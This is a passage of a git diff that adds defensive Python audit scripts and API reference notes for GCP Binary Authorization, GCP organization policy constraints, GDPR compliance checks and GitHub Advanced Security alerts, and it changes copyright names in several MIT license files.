Binary Authorization: https://cloud.google.com/binary-authorization/docs +- Container Analysis API: https://cloud.google.com/container-analysis/docs +- SLSA Framework: https://slsa.dev diff --git a/skills/implementing-gcp-binary-authorization/scripts/agent.py b/skills/implementing-gcp-binary-authorization/scripts/agent.py new file mode 100644 index 00000000..21a6ef58 --- /dev/null +++ b/skills/implementing-gcp-binary-authorization/scripts/agent.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python3 +"""Agent for auditing and managing GCP Binary Authorization policies.""" + +import json +import argparse +import subprocess +from datetime import datetime + + +def run_gcloud(args_list): + """Run a gcloud command and return parsed JSON output.""" + cmd = ["gcloud"] + args_list + ["--format=json"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode != 0: + return {"error": result.stderr.strip()} + try: + return json.loads(result.stdout) if result.stdout.strip() else {} + except json.JSONDecodeError: + return {"raw": result.stdout.strip()} + + +def get_binauthz_policy(project): + """Retrieve the Binary Authorization policy for a project.""" + return run_gcloud(["container", "binauthz", "policy", "export", + "--project", project]) + + +def list_attestors(project): + """List all attestors in the project.""" + return run_gcloud(["container", "binauthz", "attestors", "list", + "--project", project]) + + +def list_attestations(project, attestor): + """List attestations for a given attestor.""" + return run_gcloud(["container", "binauthz", "attestations", "list", + "--attestor", attestor, "--attestor-project", project]) + + +def verify_image_attested(project, attestor, image_url): + """Check if a container image has a valid attestation.""" + result = run_gcloud(["container", "binauthz", "attestations", "list", + "--attestor", attestor, "--attestor-project", project, + "--artifact-url", image_url]) + if isinstance(result, list) and len(result) > 0: + return {"image": image_url, "attested": True, "attestation_count": len(result)} + return {"image": image_url, "attested": False, "attestation_count": 0} + + +def audit_policy(policy): + """Audit a Binary Authorization policy for security issues.""" + findings = [] + if isinstance(policy, dict) and "error" in policy: + return [{"issue": "Cannot retrieve policy", "severity": "CRITICAL", + "detail": policy["error"]}] + + default_rule = policy.get("defaultAdmissionRule", {}) + eval_mode = default_rule.get("evaluationMode", "") + enforce_mode = default_rule.get("enforcementMode", "") + + if eval_mode == "ALWAYS_ALLOW": + findings.append({"issue": "Default rule allows all images", + "severity": "CRITICAL", + "recommendation": "Set evaluationMode to REQUIRE_ATTESTATION"}) + + if enforce_mode == "DRYRUN_AUDIT_LOG_ONLY": + findings.append({"issue": "Default rule is dry-run only", + "severity": "HIGH", + "recommendation": "Set enforcementMode to ENFORCED_BLOCK_AND_AUDIT_LOG"}) + + attestors = default_rule.get("requireAttestationsBy", []) + if eval_mode == "REQUIRE_ATTESTATION" and not attestors: + findings.append({"issue": "Attestation required but no attestors configured", + "severity": "CRITICAL"}) + + global_eval = policy.get("globalPolicyEvaluationMode", "") + if global_eval != "ENABLE": + findings.append({"issue": "Global policy evaluation not enabled", + "severity": "MEDIUM", + "recommendation": "Set globalPolicyEvaluationMode to ENABLE"}) + + whitelist = policy.get("admissionWhitelistPatterns", []) + for pattern in whitelist: + name = pattern.get("namePattern", "") + if name.endswith("/**") or name.endswith("/*"): + if not any(safe in name for safe in ["gcr.io/google", "k8s.gcr.io", "gke.gcr.io"]): + findings.append({"issue": f"Broad whitelist pattern: {name}", + "severity": "HIGH", + "recommendation": "Restrict whitelist to specific images"}) + + cluster_rules = policy.get("clusterAdmissionRules", {}) + for cluster, rule in cluster_rules.items(): + if rule.get("evaluationMode") == "ALWAYS_ALLOW": + findings.append({"issue": f"Cluster {cluster} allows all images", + "severity": "HIGH"}) + + if not findings: + findings.append({"issue": "No issues found", "severity": "INFO"}) + + return findings + + +def generate_policy(project, attestors, allowed_patterns=None): + """Generate a Binary Authorization policy YAML.""" + whitelist = allowed_patterns or [ + "gcr.io/google_containers/*", "gcr.io/google-containers/*", + "k8s.gcr.io/**", "gke.gcr.io/**", "gcr.io/stackdriver-agents/*", + ] + policy = { + "admissionWhitelistPatterns": [{"namePattern": p} for p in whitelist], + "defaultAdmissionRule": { + "evaluationMode": "REQUIRE_ATTESTATION", + "enforcementMode": "ENFORCED_BLOCK_AND_AUDIT_LOG", + "requireAttestationsBy": [ + f"projects/{project}/attestors/{a}" for a in attestors + ], + }, + "globalPolicyEvaluationMode": "ENABLE", + } + return policy + + +def check_cv_status(project, cluster, zone): + """Check continuous validation status on a GKE cluster.""" + result = run_gcloud(["container", "clusters", "describe", cluster, + "--zone", zone, "--project", project]) + if isinstance(result, dict): + binauthz = result.get("binaryAuthorization", {}) + return { + "cluster": cluster, + "enabled": binauthz.get("enabled", False), + "evaluation_mode": binauthz.get("evaluationMode", ""), + } + return {"cluster": cluster, "error": "Cannot retrieve cluster info"} + + +def main(): + parser = argparse.ArgumentParser(description="GCP Binary Authorization Agent") + parser.add_argument("--project", required=True, help="GCP project ID") + parser.add_argument("--action", choices=["audit", "list-attestors", "verify", + "generate", "cv-status"], + default="audit") + parser.add_argument("--attestor", help="Attestor name") + parser.add_argument("--image", help="Container image URL for verification") + parser.add_argument("--cluster", help="GKE cluster name") + parser.add_argument("--zone", default="us-central1-a") + parser.add_argument("--output", default="binauthz_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "project": args.project, + "results": {}} + + if args.action == "audit": + policy = get_binauthz_policy(args.project) + findings = audit_policy(policy) + report["results"]["policy"] = policy + report["results"]["findings"] = findings + for f in findings: + print(f"[{f['severity']}] {f['issue']}") + + elif args.action == "list-attestors": + attestors = list_attestors(args.project) + report["results"]["attestors"] = attestors + print(f"[+] Found {len(attestors) if isinstance(attestors, list) else 0} attestors") + + elif args.action == "verify" and args.attestor and args.image: + result = verify_image_attested(args.project, args.attestor, args.image) + report["results"]["verification"] = result + status = "ATTESTED" if result["attested"] else "NOT ATTESTED" + print(f"[+] {args.image}: {status}") + + elif args.action == "generate": + attestors = [args.attestor] if args.attestor else ["prod-build-attestor"] + policy = generate_policy(args.project, attestors) + report["results"]["generated_policy"] = policy + print("[+] Policy generated") + + elif args.action == "cv-status" and args.cluster: + status = check_cv_status(args.project, args.cluster, args.zone) + report["results"]["cv_status"] = status + print(f"[+] CV enabled: {status.get('enabled', False)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-gcp-organization-policy-constraints/LICENSE b/skills/implementing-gcp-organization-policy-constraints/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-gcp-organization-policy-constraints/LICENSE +++ b/skills/implementing-gcp-organization-policy-constraints/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-gcp-organization-policy-constraints/references/api-reference.md b/skills/implementing-gcp-organization-policy-constraints/references/api-reference.md new file mode 100644 index 00000000..35034aa2 --- /dev/null +++ b/skills/implementing-gcp-organization-policy-constraints/references/api-reference.md @@ -0,0 +1,73 @@ +# API Reference: Implementing GCP Organization Policy Constraints + +## gcloud CLI Commands + +```bash +# List all org policies +gcloud org-policies list --organization=ORG_ID + +# Describe specific constraint +gcloud org-policies describe constraints/compute.vmExternalIpAccess --organization=ORG_ID + +# Set policy from YAML +gcloud resource-manager org-policies set-policy policy.yaml --organization=ORG_ID + +# Set custom constraint +gcloud org-policies set-custom-constraint custom-constraint.yaml + +# Check effective policy on project +gcloud org-policies list --project=PROJECT_ID +``` + +## Baseline Security Constraints + +| Constraint | Type | Purpose | +|-----------|------|---------| +| `compute.vmExternalIpAccess` | List/Deny | Block public VM IPs | +| `compute.requireOsLogin` | Boolean | Mandate OS Login for SSH | +| `compute.disableSerialPortAccess` | Boolean | Disable serial port | +| `storage.uniformBucketLevelAccess` | Boolean | Uniform bucket ACLs | +| `sql.restrictPublicIp` | Boolean | No public Cloud SQL | +| `iam.disableServiceAccountKeyCreation` | Boolean | Force Workload Identity | +| `gcp.resourceLocations` | List/Allow | Restrict to approved regions | + +## Policy YAML Formats + +### Boolean Policy +```yaml +constraint: constraints/compute.requireOsLogin +booleanPolicy: + enforced: true +``` + +### List Policy (Deny All) +```yaml +constraint: constraints/compute.vmExternalIpAccess +listPolicy: + allValues: DENY +``` + +### List Policy (Allow Specific) +```yaml +constraint: constraints/gcp.resourceLocations +listPolicy: + allowedValues: + - "in:us-locations" + - "in:eu-locations" +``` + +## Terraform Resource + +```hcl +resource "google_organization_policy" "example" { + org_id = var.org_id + constraint = "constraints/compute.requireOsLogin" + boolean_policy { enforced = true } +} +``` + +### References + +- GCP Org Policy: https://cloud.google.com/resource-manager/docs/organization-policy/overview +- Constraint List: https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints +- CIS GCP Benchmark: https://www.cisecurity.org/benchmark/google_cloud_computing_platform diff --git a/skills/implementing-gcp-organization-policy-constraints/scripts/agent.py b/skills/implementing-gcp-organization-policy-constraints/scripts/agent.py new file mode 100644 index 00000000..0be88b6c --- /dev/null +++ b/skills/implementing-gcp-organization-policy-constraints/scripts/agent.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +"""Agent for auditing and managing GCP Organization Policy constraints.""" + +import json +import argparse +import subprocess +from datetime import datetime + + +BASELINE_BOOLEAN_CONSTRAINTS = { + "constraints/compute.vmExternalIpAccess": {"type": "list", "expected": "DENY_ALL"}, + "constraints/compute.requireOsLogin": {"type": "boolean", "expected": True}, + "constraints/compute.disableSerialPortAccess": {"type": "boolean", "expected": True}, + "constraints/compute.disableNestedVirtualization": {"type": "boolean", "expected": True}, + "constraints/storage.uniformBucketLevelAccess": {"type": "boolean", "expected": True}, + "constraints/sql.restrictPublicIp": {"type": "boolean", "expected": True}, + "constraints/iam.disableServiceAccountKeyCreation": {"type": "boolean", "expected": True}, + "constraints/iam.automaticIamGrantsForDefaultServiceAccounts": {"type": "boolean", "expected": True}, +} + + +def run_gcloud(args_list): + """Run a gcloud command and return parsed JSON.""" + cmd = ["gcloud"] + args_list + ["--format=json"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode != 0: + return {"error": result.stderr.strip()} + try: + return json.loads(result.stdout) if result.stdout.strip() else {} + except json.JSONDecodeError: + return {"raw": result.stdout.strip()} + + +def list_org_policies(org_id): + """List all active organization policies.""" + return run_gcloud(["org-policies", "list", f"--organization={org_id}"]) + + +def describe_policy(org_id, constraint): + """Get details of a specific org policy constraint.""" + return run_gcloud(["org-policies", "describe", constraint, + f"--organization={org_id}"]) + + +def audit_baseline_compliance(org_id): + """Audit organization against security baseline constraints.""" + findings = [] + for constraint, expected in BASELINE_BOOLEAN_CONSTRAINTS.items(): + policy = describe_policy(org_id, constraint) + if isinstance(policy, dict) and "error" in policy: + findings.append({ + "constraint": constraint, + "status": "NOT_SET", + "severity": "HIGH", + "recommendation": f"Enable {constraint}", + }) + continue + if expected["type"] == "boolean": + enforced = False + if isinstance(policy, dict): + bp = policy.get("booleanPolicy", {}) + enforced = bp.get("enforced", False) + findings.append({ + "constraint": constraint, + "status": "COMPLIANT" if enforced else "NON_COMPLIANT", + "severity": "INFO" if enforced else "HIGH", + "current": enforced, + "expected": expected["expected"], + }) + elif expected["type"] == "list": + lp = policy.get("listPolicy", {}) if isinstance(policy, dict) else {} + all_denied = lp.get("allValues") == "DENY" or lp.get("deniedValues") == ["*"] + findings.append({ + "constraint": constraint, + "status": "COMPLIANT" if all_denied else "NON_COMPLIANT", + "severity": "INFO" if all_denied else "HIGH", + }) + return findings + + +def audit_project_policies(project_id): + """Audit organization policies effective on a specific project.""" + policies = run_gcloud(["org-policies", "list", f"--project={project_id}"]) + if isinstance(policies, dict) and "error" in policies: + return [{"error": policies["error"]}] + return policies if isinstance(policies, list) else [] + + +def check_resource_location_constraint(org_id): + """Check if resource location constraint is configured.""" + policy = describe_policy(org_id, "constraints/gcp.resourceLocations") + if isinstance(policy, dict) and "error" not in policy: + lp = policy.get("listPolicy", {}) + allowed = lp.get("allowedValues", []) + if allowed: + return {"status": "CONFIGURED", "allowed_locations": allowed} + return {"status": "NOT_CONFIGURED", "severity": "MEDIUM", + "recommendation": "Restrict resource locations to approved regions"} + + +def generate_terraform_policies(org_id, constraints=None): + """Generate Terraform HCL for baseline org policies.""" + constraints = constraints or list(BASELINE_BOOLEAN_CONSTRAINTS.keys()) + tf_blocks = [] + for c in constraints: + info = BASELINE_BOOLEAN_CONSTRAINTS.get(c, {"type": "boolean", "expected": True}) + resource_name = c.split("/")[1].replace(".", "_") + if info["type"] == "boolean": + tf_blocks.append(f'''resource "google_organization_policy" "{resource_name}" {{ + org_id = "{org_id}" + constraint = "{c}" + boolean_policy {{ + enforced = true + }} +}}''') + elif info["type"] == "list": + tf_blocks.append(f'''resource "google_organization_policy" "{resource_name}" {{ + org_id = "{org_id}" + constraint = "{c}" + list_policy {{ + deny {{ + all = true + }} + }} +}}''') + return "\n\n".join(tf_blocks) + + +def generate_compliance_report(findings): + """Generate a compliance summary from audit findings.""" + total = len(findings) + compliant = sum(1 for f in findings if f.get("status") == "COMPLIANT") + non_compliant = sum(1 for f in findings if f.get("status") == "NON_COMPLIANT") + not_set = sum(1 for f in findings if f.get("status") == "NOT_SET") + return { + "total_constraints": total, + "compliant": compliant, + "non_compliant": non_compliant, + "not_set": not_set, + "compliance_percentage": round(compliant / total * 100, 1) if total else 0, + "high_severity_gaps": [f for f in findings if f.get("severity") == "HIGH"], + } + + +def main(): + parser = argparse.ArgumentParser(description="GCP Organization Policy Agent") + parser.add_argument("--org-id", help="GCP organization ID") + parser.add_argument("--project", help="GCP project ID for project-level audit") + parser.add_argument("--action", choices=["audit", "list", "terraform", "locations"], + default="audit") + parser.add_argument("--output", default="gcp_orgpolicy_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action == "audit" and args.org_id: + findings = audit_baseline_compliance(args.org_id) + summary = generate_compliance_report(findings) + report["results"]["findings"] = findings + report["results"]["summary"] = summary + print(f"[+] Compliance: {summary['compliance_percentage']}%" + f" ({summary['compliant']}/{summary['total_constraints']})") + + elif args.action == "list" and args.org_id: + policies = list_org_policies(args.org_id) + report["results"]["policies"] = policies + count = len(policies) if isinstance(policies, list) else 0 + print(f"[+] Active policies: {count}") + + elif args.action == "terraform" and args.org_id: + tf = generate_terraform_policies(args.org_id) + report["results"]["terraform"] = tf + print("[+] Terraform configuration generated") + + elif args.action == "locations" and args.org_id: + result = check_resource_location_constraint(args.org_id) + report["results"]["location_constraint"] = result + print(f"[+] Location constraint: {result['status']}") + + if args.project: + project_policies = audit_project_policies(args.project) + report["results"]["project_policies"] = project_policies + print(f"[+] Project {args.project}: {len(project_policies)} policies") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-gcp-vpc-firewall-rules/LICENSE b/skills/implementing-gcp-vpc-firewall-rules/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-gcp-vpc-firewall-rules/LICENSE +++ b/skills/implementing-gcp-vpc-firewall-rules/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-gdpr-data-protection-controls/LICENSE b/skills/implementing-gdpr-data-protection-controls/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-gdpr-data-protection-controls/LICENSE +++ b/skills/implementing-gdpr-data-protection-controls/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-gdpr-data-protection-controls/references/api-reference.md b/skills/implementing-gdpr-data-protection-controls/references/api-reference.md new file mode 100644 index 00000000..d84e8302 --- /dev/null +++ b/skills/implementing-gdpr-data-protection-controls/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Implementing GDPR Data Protection Controls + +## Key GDPR Articles + +| Article | Requirement | Technical Control | +|---------|-------------|-------------------| +| Art 5 | Processing principles | Data minimization, retention policies | +| Art 25 | Privacy by design | Default privacy settings | +| Art 30 | Records of processing | ROPA documentation system | +| Art 32 | Security of processing | Encryption, access controls, testing | +| Art 33 | Breach notification | 72-hour DPA notification | +| Art 35 | DPIA | Impact assessment for high-risk processing | + +## Data Subject Rights (Art 12-22) + +| Right | Article | SLA | +|-------|---------|-----| +| Access | Art 15 | 1 month | +| Rectification | Art 16 | 1 month | +| Erasure | Art 17 | 1 month | +| Portability | Art 20 | 1 month | +| Object | Art 21 | Without undue delay | + +## PII Detection Patterns + +```python +import re +patterns = { + "email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b", + "iban": r"\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b", + "ip_address": r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", +} +``` + +## ROPA Required Fields (Art 30) + +| Field | Description | +|-------|-------------| +| controller_name | Data controller identity | +| purposes | Processing purposes | +| data_categories | Types of personal data | +| data_subjects | Categories of data subjects | +| recipients | Data recipients | +| transfers | Cross-border transfers | +| retention_periods | Data retention schedules | +| security_measures | Art 32 controls | + +## Cross-Border Transfer Mechanisms (Art 44-49) + +| Mechanism | Use Case | +|-----------|----------| +| Adequacy Decision | Transfer to adequate countries (Art 45) | +| Standard Contractual Clauses (SCCs) | Most common mechanism (Art 46) | +| Binding Corporate Rules (BCRs) | Intra-group transfers (Art 47) | +| Derogations | Consent, contract necessity (Art 49) | + +### References + +- GDPR Official Text: https://gdpr-info.eu/ +- EDPB Guidelines: https://edpb.europa.eu/our-work-tools/general-guidance/guidelines-recommendations-best-practices_en +- ICO GDPR Guide: https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/ diff --git a/skills/implementing-gdpr-data-protection-controls/scripts/agent.py b/skills/implementing-gdpr-data-protection-controls/scripts/agent.py new file mode 100644 index 00000000..18e65a44 --- /dev/null +++ b/skills/implementing-gdpr-data-protection-controls/scripts/agent.py @@ -0,0 +1,235 @@ +#!/usr/bin/env python3 +"""Agent for assessing and managing GDPR data protection compliance.""" + +import json +import csv +import argparse +import re +from datetime import datetime, timedelta +from collections import Counter, defaultdict + + +GDPR_ARTICLES = { + "Art5": "Principles of processing", + "Art6": "Lawful basis", + "Art13": "Information to data subject (direct collection)", + "Art14": "Information to data subject (indirect collection)", + "Art15": "Right of access", + "Art17": "Right to erasure", + "Art20": "Right to data portability", + "Art25": "Data protection by design and by default", + "Art30": "Records of processing activities", + "Art32": "Security of processing", + "Art33": "Breach notification (72h to DPA)", + "Art34": "Breach communication to data subjects", + "Art35": "Data Protection Impact Assessment", + "Art44": "Cross-border transfer principles", +} + +PII_PATTERNS = { + "email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b", + "phone_eu": r"\b\+?[0-9]{1,3}[\s.-]?[0-9]{6,14}\b", + "iban": r"\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b", + "ip_address": r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", + "date_of_birth": r"\b\d{2}[/.-]\d{2}[/.-]\d{4}\b", + "national_id": r"\b\d{3}-\d{2}-\d{4}\b", + "passport": r"\b[A-Z]{1,2}\d{6,9}\b", +} + + +def scan_for_pii(file_path, max_bytes=1024 * 1024): + """Scan a file for GDPR-relevant personal data patterns.""" + try: + with open(file_path, "r", encoding="utf-8", errors="ignore") as f: + content = f.read(max_bytes) + except (OSError, PermissionError): + return None + matches = {} + for pii_type, pattern in PII_PATTERNS.items(): + found = re.findall(pattern, content) + if found: + matches[pii_type] = len(found) + if not matches: + return None + return {"file": str(file_path), "pii_types": matches, + "total_matches": sum(matches.values()), + "category": classify_data_category(matches)} + + +def classify_data_category(matches): + """Classify data into GDPR special categories.""" + if any(k in matches for k in ["national_id", "passport"]): + return "special_category" + if "iban" in matches: + return "financial" + return "standard_personal_data" + + +def assess_ropa_completeness(ropa_json): + """Assess Records of Processing Activities (ROPA) completeness per Art 30.""" + with open(ropa_json) as f: + ropa = json.load(f) + required_fields = [ + "controller_name", "purposes", "data_categories", "data_subjects", + "recipients", "transfers", "retention_periods", "security_measures", + ] + findings = [] + activities = ropa if isinstance(ropa, list) else ropa.get("activities", []) + for activity in activities: + missing = [f for f in required_fields if not activity.get(f)] + findings.append({ + "activity": activity.get("name", activity.get("purpose", "unknown")), + "complete": len(missing) == 0, + "missing_fields": missing, + "compliance": "COMPLIANT" if not missing else "NON_COMPLIANT", + }) + total = len(findings) + compliant = sum(1 for f in findings if f["compliance"] == "COMPLIANT") + return { + "activities_assessed": total, + "compliant": compliant, + "compliance_rate": round(compliant / total * 100, 1) if total else 0, + "details": findings, + } + + +def assess_dsr_handling(dsr_log_path): + """Assess Data Subject Request handling compliance.""" + with open(dsr_log_path) as f: + requests_log = json.load(f) + dsrs = requests_log if isinstance(requests_log, list) else requests_log.get("requests", []) + findings = [] + for dsr in dsrs: + received = datetime.fromisoformat(dsr.get("received_date", "2024-01-01")) + completed = dsr.get("completed_date") + if completed: + completed_dt = datetime.fromisoformat(completed) + days = (completed_dt - received).days + else: + days = (datetime.utcnow() - received).days + overdue = days > 30 # GDPR requires response within one month + findings.append({ + "request_id": dsr.get("id", ""), + "type": dsr.get("type", dsr.get("right", "")), + "status": dsr.get("status", "pending"), + "days_elapsed": days, + "overdue": overdue, + "severity": "HIGH" if overdue else "INFO", + }) + overdue_count = sum(1 for f in findings if f["overdue"]) + return { + "total_requests": len(findings), + "overdue": overdue_count, + "by_type": dict(Counter(f["type"] for f in findings)), + "details": findings, + } + + +def assess_breach_notification_readiness(breach_log_path): + """Assess breach notification compliance (Art 33/34).""" + with open(breach_log_path) as f: + breaches = json.load(f) + breach_list = breaches if isinstance(breaches, list) else breaches.get("breaches", []) + findings = [] + for breach in breach_list: + detected = datetime.fromisoformat(breach.get("detected", "2024-01-01")) + notified = breach.get("dpa_notified") + if notified: + notified_dt = datetime.fromisoformat(notified) + hours = (notified_dt - detected).total_seconds() / 3600 + else: + hours = None + compliant = hours is not None and hours <= 72 + findings.append({ + "breach_id": breach.get("id", ""), + "detected": str(detected), + "notification_hours": round(hours, 1) if hours else None, + "art33_compliant": compliant, + "data_subjects_affected": breach.get("subjects_affected", 0), + "severity": breach.get("severity", "HIGH"), + }) + return {"total_breaches": len(findings), "details": findings, + "art33_compliance_rate": round( + sum(1 for f in findings if f["art33_compliant"]) / len(findings) * 100, 1 + ) if findings else 0} + + +def generate_art32_checklist(): + """Generate Article 32 security measures compliance checklist.""" + return { + "encryption": { + "data_at_rest": {"required": True, "standard": "AES-256"}, + "data_in_transit": {"required": True, "standard": "TLS 1.2+"}, + "key_management": {"required": True, "standard": "HSM or KMS"}, + }, + "pseudonymization": { + "tokenization": {"required": True}, + "key_separation": {"required": True}, + }, + "access_controls": { + "rbac": {"required": True}, + "mfa": {"required": True}, + "least_privilege": {"required": True}, + "access_reviews": {"required": True, "frequency": "quarterly"}, + }, + "resilience": { + "backup_strategy": {"required": True}, + "disaster_recovery": {"required": True, "rto": "4h", "rpo": "1h"}, + "business_continuity": {"required": True}, + }, + "testing": { + "penetration_testing": {"required": True, "frequency": "annual"}, + "vulnerability_scanning": {"required": True, "frequency": "monthly"}, + "security_awareness": {"required": True, "frequency": "annual"}, + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="GDPR Data Protection Agent") + parser.add_argument("--scan-pii", help="File or directory to scan for PII") + parser.add_argument("--ropa", help="ROPA JSON file for completeness check") + parser.add_argument("--dsr-log", help="Data Subject Request log JSON") + parser.add_argument("--breach-log", help="Breach notification log JSON") + parser.add_argument("--action", choices=["scan", "ropa", "dsr", "breach", + "art32", "full"], default="full") + parser.add_argument("--output", default="gdpr_compliance_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("scan", "full") and args.scan_pii: + result = scan_for_pii(args.scan_pii) + report["results"]["pii_scan"] = result + if result: + print(f"[+] PII found: {result['total_matches']} matches ({result['category']})") + else: + print("[+] No PII detected") + + if args.action in ("ropa", "full") and args.ropa: + result = assess_ropa_completeness(args.ropa) + report["results"]["ropa"] = result + print(f"[+] ROPA compliance: {result['compliance_rate']}%") + + if args.action in ("dsr", "full") and args.dsr_log: + result = assess_dsr_handling(args.dsr_log) + report["results"]["dsr"] = result + print(f"[+] DSRs: {result['total_requests']} total, {result['overdue']} overdue") + + if args.action in ("breach", "full") and args.breach_log: + result = assess_breach_notification_readiness(args.breach_log) + report["results"]["breach"] = result + print(f"[+] Art 33 compliance rate: {result['art33_compliance_rate']}%") + + if args.action in ("art32", "full"): + checklist = generate_art32_checklist() + report["results"]["art32_checklist"] = checklist + print("[+] Article 32 security checklist generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-github-advanced-security-for-code-scanning/LICENSE b/skills/implementing-github-advanced-security-for-code-scanning/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-github-advanced-security-for-code-scanning/LICENSE +++ b/skills/implementing-github-advanced-security-for-code-scanning/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md b/skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md new file mode 100644 index 00000000..b0341915 --- /dev/null +++ b/skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Implementing GitHub Advanced Security for Code Scanning + +## GitHub Code Scanning API + +```bash +# List code scanning alerts +gh api /repos/OWNER/REPO/code-scanning/alerts?state=open + +# Get specific alert +gh api /repos/OWNER/REPO/code-scanning/alerts/ALERT_NUMBER + +# List analyses +gh api /repos/OWNER/REPO/code-scanning/analyses + +# Upload SARIF +gh api /repos/OWNER/REPO/code-scanning/sarifs -X POST \ + -f commit_sha=SHA -f ref=refs/heads/main -f sarif=@results.sarif.gz +``` + +## Secret Scanning API + +```bash +# List secret alerts +gh api /repos/OWNER/REPO/secret-scanning/alerts?state=open + +# Update alert state +gh api /repos/OWNER/REPO/secret-scanning/alerts/ALERT_NUMBER -X PATCH \ + -f state=resolved -f resolution=revoked +``` + +## CodeQL Query Suites + +| Suite | Description | False Positive Rate | +|-------|-------------|-------------------| +| `default` | High-confidence security | Low | +| `security-extended` | Broader security coverage | Medium | +| `security-and-quality` | Security + code quality | Higher | + +## CodeQL Workflow (GitHub Actions) + +```yaml +- uses: github/codeql-action/init@v3 + with: + languages: ${{ matrix.language }} + queries: +security-extended +- uses: github/codeql-action/autobuild@v3 +- uses: github/codeql-action/analyze@v3 +``` + +## Supported Languages + +| Language | Build Required | Query Pack | +|----------|---------------|-----------| +| Python | No | codeql/python-queries | +| JavaScript/TypeScript | No | codeql/javascript-queries | +| Java/Kotlin | Yes | codeql/java-queries | +| C/C++ | Yes | codeql/cpp-queries | +| C# | Yes | codeql/csharp-queries | +| Go | Yes | codeql/go-queries | +| Ruby | No | codeql/ruby-queries | +| Swift | Yes | codeql/swift-queries | + +### References + +- GHAS Docs: https://docs.github.com/en/code-security/code-scanning +- CodeQL: https://codeql.github.com/docs/ +- CodeQL Queries: https://github.com/github/codeql +- SARIF Spec: https://sarifweb.azurewebsites.net/ diff --git a/skills/implementing-github-advanced-security-for-code-scanning/scripts/agent.py b/skills/implementing-github-advanced-security-for-code-scanning/scripts/agent.py new file mode 100644 index 00000000..1cba426c --- /dev/null +++ b/skills/implementing-github-advanced-security-for-code-scanning/scripts/agent.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +"""Agent for managing GitHub Advanced Security code scanning with CodeQL.""" + +import json +import argparse +import subprocess +from datetime import datetime +from collections import Counter + + +def gh_api(endpoint, method="GET"): + """Call GitHub API via gh CLI.""" + cmd = ["gh", "api", endpoint, "--method", method] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode != 0: + return {"error": result.stderr.strip()} + try: + return json.loads(result.stdout) if result.stdout.strip() else {} + except json.JSONDecodeError: + return {"raw": result.stdout.strip()} + + +def get_code_scanning_alerts(owner, repo, state="open"): + """Get code scanning alerts for a repository.""" + alerts = gh_api(f"/repos/{owner}/{repo}/code-scanning/alerts?state={state}&per_page=100") + if isinstance(alerts, dict) and "error" in alerts: + return alerts + return alerts if isinstance(alerts, list) else [] + + +def get_secret_scanning_alerts(owner, repo, state="open"): + """Get secret scanning alerts for a repository.""" + alerts = gh_api(f"/repos/{owner}/{repo}/secret-scanning/alerts?state={state}&per_page=100") + if isinstance(alerts, dict) and "error" in alerts: + return alerts + return alerts if isinstance(alerts, list) else [] + + +def get_dependabot_alerts(owner, repo, state="open"): + """Get Dependabot alerts for a repository.""" + alerts = gh_api(f"/repos/{owner}/{repo}/dependabot/alerts?state={state}&per_page=100") + if isinstance(alerts, dict) and "error" in alerts: + return alerts + return alerts if isinstance(alerts, list) else [] + + +def analyze_code_scanning_alerts(alerts): + """Analyze code scanning alerts and produce summary.""" + if not isinstance(alerts, list): + return {"error": "No alerts data"} + by_severity = Counter() + by_rule = Counter() + by_tool = Counter() + critical_alerts = [] + for alert in alerts: + rule = alert.get("rule", {}) + severity = 